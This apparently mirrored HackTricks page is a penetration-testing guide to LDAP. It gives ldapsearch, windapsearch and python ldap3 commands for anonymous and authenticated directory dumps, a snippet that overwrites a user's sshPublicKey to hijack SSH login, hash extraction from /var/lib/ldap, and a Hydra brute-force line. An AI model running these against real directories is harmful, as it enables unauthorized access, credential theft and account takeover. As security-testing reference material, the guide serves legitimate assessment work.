mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
442 lines
18 KiB
Markdown
442 lines
18 KiB
Markdown
# 389, 636, 3268, 3269 - Pentesting LDAP
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Basic Information
|
|
|
|
Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
|
|
|
|
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
|
|
|
An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user.
|
|
|
|
An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels:
|
|
|
|
* The root directory (the starting place or the source of the tree), which branches out to
|
|
* Countries, each of which branches out to
|
|
* Organizations, which branch out to
|
|
* Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for)
|
|
* Individuals (which includes people, files, and shared resources such as printers)
|
|
|
|
**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.
|
|
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
389/tcp open ldap syn-ack
|
|
636/tcp open tcpwrapped
|
|
```
|
|
|
|
### LDAP Data Interchange Format
|
|
|
|
LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).
|
|
|
|
```bash
|
|
dn: dc=local
|
|
dc: local
|
|
objectClass: dcObject
|
|
|
|
dn: dc=moneycorp,dc=local
|
|
dc: moneycorp
|
|
objectClass: dcObject
|
|
objectClass: organization
|
|
|
|
dn ou=it,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
ou: dev
|
|
|
|
dn: ou=marketing,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
Ou: sales
|
|
|
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
|
objectClass: personalData
|
|
cn:
|
|
sn:
|
|
gn:
|
|
uid:
|
|
ou:
|
|
mail: pepe@hacktricks.xyz
|
|
phone: 23627387495
|
|
```
|
|
|
|
* Lines 1-3 define the top level domain local
|
|
* Lines 5-8 define the first level domain moneycorp (moneycorp.local)
|
|
* Lines 10-16 define 2 organizational units: dev and sales
|
|
* Lines 18-26 create an object of the domain and assign attributes with values
|
|
|
|
## Write data
|
|
|
|
Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**.
|
|
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
|
>>> connection.bind()
|
|
True
|
|
>>> connection.extend.standard.who_am_i()
|
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
|
```
|
|
|
|
Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)
|
|
|
|
## Sniff clear text credentials
|
|
|
|
If LDAP is used without SSL you can **sniff credentials in plain text** in the network.
|
|
|
|
Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login.
|
|
|
|
**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again.
|
|
|
|
## Anonymous Access
|
|
|
|
### Bypass TLS SNI check
|
|
|
|
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
|
|
|
|
```bash
|
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
|
```
|
|
|
|
### LDAP anonymous binds
|
|
|
|
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. \
|
|
However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
|
|
|
|
## Valid Credentials
|
|
|
|
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
|
|
|
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
|
|
|
```bash
|
|
pip3 install ldapdomaindump
|
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
|
```
|
|
|
|
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
|
|
|
|
## Enumeration
|
|
|
|
### Automated
|
|
|
|
Using this you will be able to see the **public information** (like the domain name)**:**
|
|
|
|
```bash
|
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|
```
|
|
|
|
### Python
|
|
|
|
<details>
|
|
|
|
<summary>See LDAP enumeration with python</summary>
|
|
|
|
You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`
|
|
|
|
First try to **connect without** credentials:
|
|
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server)
|
|
>>> connection.bind()
|
|
True
|
|
>>> server.info
|
|
```
|
|
|
|
If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from:
|
|
|
|
```bash
|
|
>>> server.info
|
|
DSA info (from DSE):
|
|
Supported LDAP versions: 3
|
|
Naming contexts:
|
|
dc=DOMAIN,dc=DOMAIN
|
|
```
|
|
|
|
Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:
|
|
|
|
```bash
|
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
|
True
|
|
>> connection.entries
|
|
```
|
|
|
|
Or **dump** the whole ldap:
|
|
|
|
```bash
|
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
|
True
|
|
>>> connection.entries
|
|
```
|
|
|
|
</details>
|
|
|
|
### windapsearch
|
|
|
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) **** is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries.
|
|
|
|
```bash
|
|
# Get computers
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
|
# Get groups
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
|
# Get users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Domain Admins
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Privileged Users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
|
```
|
|
|
|
### ldapsearch
|
|
|
|
Check null credentials or if your credentials are valid:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
```bash
|
|
# CREDENTIALS NOT VALID RESPONSE
|
|
search: 2
|
|
result: 1 Operations error
|
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
|
tion a successful bind must be completed on the connection., data 0, v3839
|
|
```
|
|
|
|
If you find something saying that the "_bind must be completed_" means that the credentials are incorrect.
|
|
|
|
You can extract **everything from a domain** using:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
-x Simple Authentication
|
|
-H LDAP Server
|
|
-D My User
|
|
-w My password
|
|
-b Base site, all data from here will be given
|
|
```
|
|
|
|
Extract **users**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
|
```
|
|
|
|
Extract **computers**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
Extract **my info**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
Extract **Domain Admins**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
Extract **Domain Users**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
Extract **Enterprise Admins**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
Extract **Administrators**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
Extract **Remote Desktop Group**:
|
|
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
To see if you have access to any password you can use grep after executing one of the queries:
|
|
|
|
```bash
|
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
|
```
|
|
|
|
Please, notice that the passwords that you can find here could not be the real ones...
|
|
|
|
#### pbis
|
|
|
|
You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\
|
|
**Pbis** allow you to get basic information easily:
|
|
|
|
```bash
|
|
#Read keytab file
|
|
./klist -k /etc/krb5.keytab
|
|
|
|
#Get known domains info
|
|
./get-status
|
|
./lsa get-status
|
|
|
|
#Get basic metrics
|
|
./get-metrics
|
|
./lsa get-metrics
|
|
|
|
#Get users
|
|
./enum-users
|
|
./lsa enum-users
|
|
|
|
#Get groups
|
|
./enum-groups
|
|
./lsa enum-groups
|
|
|
|
#Get all kind of objects
|
|
./enum-objects
|
|
./lsa enum-objects
|
|
|
|
#Get groups of a user
|
|
./list-groups-for-user <username>
|
|
./lsa list-groups-for-user <username>
|
|
#Get groups of each user
|
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
|
|
|
#Get users of a group
|
|
./enum-members --by-name "domain admins"
|
|
./lsa enum-members --by-name "domain admins"
|
|
#Get users of each group
|
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
|
|
|
#Get description of each user
|
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
|
echo "$line";
|
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
|
echo "======================"
|
|
done
|
|
```
|
|
|
|
## Graphical Interface
|
|
|
|
### Apache Directory
|
|
|
|
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
|
|
|
|
### jxplorer
|
|
|
|
You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
|
|
|
By default is is installed in: _/opt/jxplorer_
|
|
|
|
 (1).png>)
|
|
|
|
## Authentication via kerberos
|
|
|
|
Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI`
|
|
|
|
## POST
|
|
|
|
If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using:
|
|
|
|
```bash
|
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|
```
|
|
|
|
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
|
|
|
|
### Configuration Files
|
|
|
|
* General
|
|
* containers.ldif
|
|
* ldap.cfg
|
|
* ldap.conf
|
|
* ldap.xml
|
|
* ldap-config.xml
|
|
* ldap-realm.xml
|
|
* slapd.conf
|
|
* IBM SecureWay V3 server
|
|
* V3.sas.oc
|
|
* Microsoft Active Directory server
|
|
* msadClassesAttrs.ldif
|
|
* Netscape Directory Server 4
|
|
* nsslapd.sas\_at.conf
|
|
* nsslapd.sas\_oc.conf
|
|
* OpenLDAP directory server
|
|
* slapd.sas\_at.conf
|
|
* slapd.sas\_oc.conf
|
|
* Sun ONE Directory Server 5.1
|
|
* 75sas.ldif
|
|
|
|
## HackTricks Automatic Commands
|
|
|
|
```
|
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for LDAP
|
|
Note: |
|
|
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab LDAP Banner
|
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
|
|
|
Entry_3:
|
|
Name: LdapSearch
|
|
Description: Base LdapSearch
|
|
Command: ldapsearch -H ldap://{IP} -x
|
|
|
|
Entry_4:
|
|
Name: LdapSearch Naming Context Dump
|
|
Description: Attempt to get LDAP Naming Context
|
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
|
|
|
Entry_5:
|
|
Name: LdapSearch Big Dump
|
|
Description: Need Naming Context to do big dump
|
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
|
|
|
Entry_6:
|
|
Name: Hydra Brute Force
|
|
Description: Need User
|
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|